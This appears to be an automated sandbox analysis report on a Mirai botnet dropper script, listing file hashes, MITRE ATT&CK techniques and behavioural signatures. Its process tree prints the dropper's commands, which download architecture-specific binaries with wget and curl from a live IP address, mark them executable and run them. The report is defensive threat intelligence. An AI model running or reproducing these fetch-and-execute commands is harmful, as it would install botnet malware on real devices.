mirai | e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11

Analysis

max time kernel
135s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11-12-2024 21:51

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General

Target

yarn.sh
Size

2KB
MD5

07d7d7c0736b6263410acf9e34d5c9b0
SHA1

4edd87528465f7b81a507b80f7fdfdad4c88feba
SHA256

e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11
SHA512

1711af3727859adc74cadb660767065d351613b2aa842f0732f26d25b1407b159f1b42108f9f8f846789532d2ad62a9d0b530202ea2b30eb08ef503f5a525d5b

Score

10^/10

mirai botnet botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (60907) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
727	chmod
735	chmod
751	chmod
801	chmod
829	chmod
840	chmod
846	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/Andrew	728	Andrew
/tmp/Andrew	736	Andrew
/tmp/Andrew	753	Andrew
/tmp/Andrew	802	Andrew
/tmp/Andrew	830	Andrew
/tmp/Andrew	841	Andrew
/tmp/Andrew	847	Andrew

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-3.dat	upx
behavioral3/files/fstream-6.dat	upx
behavioral3/files/fstream-9.dat	upx
behavioral3/files/fstream-12.dat	upx
behavioral3/files/fstream-15.dat	upx
behavioral3/files/fstream-17.dat	upx
behavioral3/files/fstream-18.dat	upx
behavioral3/files/fstream-20.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	830	Andrew

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/�	Andrew
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
806	wget
819	curl
827	cat

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm4	wget
File opened for modification	/tmp/Andrew	yarn.sh
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/arm4	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/i486	curl

/tmp/yarn.sh
/tmp/yarn.sh
1⤵
- Writes file to tmp directory
PID:698
- /usr/bin/wget
  wget http://37.114.41.90/bins/i486
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i486
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/cat
  cat i486
  2⤵
  PID:725
- /bin/chmod
  chmod +x Andrew i486 systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-xDV7yg yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/Andrew
  ./Andrew Payload
  2⤵
  - Executes dropped EXE
  PID:728
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/cat
  cat x86
  2⤵
  PID:734
- /bin/chmod
  chmod +x Andrew i486 systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-xDV7yg x86 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/Andrew
  ./Andrew Payload
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat i686
  2⤵
  PID:749
- /bin/chmod
  chmod +x Andrew i486 i686 x86 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/Andrew
  ./Andrew Payload
  2⤵
  - Executes dropped EXE
  PID:753
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:755
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/cat
  cat x86_64
  2⤵
  PID:800
- /bin/chmod
  chmod +x Andrew i486 i686 x86 x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/Andrew
  ./Andrew Payload
  2⤵
  - Executes dropped EXE
  PID:802
- /usr/bin/wget
  wget http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:827
- /bin/chmod
  chmod +x Andrew i486 i686 mips x86 x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/Andrew
  ./Andrew Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:830
- /usr/bin/wget
  wget http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat mpsl
  2⤵
  PID:839
- /bin/chmod
  chmod +x Andrew i486 i686 mips mpsl x86 x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/Andrew
  ./Andrew Payload
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm4
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat arm4
  2⤵
  PID:845
- /bin/chmod
  chmod +x Andrew arm4 i486 i686 mips mpsl x86 x86_64 yarn.sh
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/Andrew
  ./Andrew Payload
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm5
  2⤵
  - Writes file to tmp directory
  PID:849

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Andrew

Filesize
34KB

MD5
5320e1b442a667f9b847230659221dcc

SHA1
380bfb683b6bfcfee043383621b887f062119c0f

SHA256
b34ee0fa02e74c51f58d957faad5e252cc4c659fa30c3ca451a8d955e02f5ad2

SHA512
a11f63c5ff5285c552db48754db522a6cf8393e66d7321aee07816960a6e04883d6416bd5d668eb20a0735ddc3b0cf2fd395f35c5cf827d685de51524a42d91d

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/tmp/arm4

Filesize
31KB

MD5
b09e32f241911f4ddac45a1a7a19ba49

SHA1
17a7f213570aaea7f66b9c38091c9485fa0ea510

SHA256
42828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c

SHA512
1d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5

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/tmp/arm5

Filesize
14KB

MD5
6664282217bdf5aa6f646194fc115f1b

SHA1
ba189bc1b8ddc7abdb5444135b1cb9cd4fa7456c

SHA256
a63923e5e9ba4350e0027dd5245ebe633132ffbb4fa161d7f84b17ec5df7ae2a

SHA512
ef28e4eeaddd52aa844d5540d584575c110b6fc9b887b0e6eb3d56de6cd1c24f012cc13e61160585599882347ab5996002015170b0ee2db3630419f2bdbb4e4c

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/tmp/i486

Filesize
274B

MD5
090e35476de39030dfeafbcf3d3e3f43

SHA1
a4bd408cec5d1185b478e528cf60a9f5186e0b87

SHA256
0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

SHA512
55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

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/tmp/i686

Filesize
28KB

MD5
15fb222600a3061f5c8e5ef04e5298a6

SHA1
93b4a17632479c8a45e2554a18ea61ea7365c532

SHA256
fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

SHA512
11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

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/tmp/mips

Filesize
34KB

MD5
6088a204e0792a10d3724e836fe699b7

SHA1
fc1cf1010c99f155c46f94ec0529c8cea32c6055

SHA256
345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

SHA512
bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

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/tmp/mpsl

Filesize
34KB

MD5
b8f2bf3e7c002718f12751cb02130d2e

SHA1
06919c90eae2564ee9ded3f343e2ec18839e411d

SHA256
390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

SHA512
adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

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/tmp/x86

Filesize
28KB

MD5
54d07ade0004f03aaca028523d8f3eb6

SHA1
73606fc68439ea7ceb148f94d61dbe0235da8355

SHA256
d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

SHA512
43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

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/tmp/x86_64

Filesize
28KB

MD5
9cc970e0631afa61a049848f4f368b12

SHA1
54d7d99f436e9c97da5bfdd43698bb1dbd679b29

SHA256
681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

SHA512
9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e

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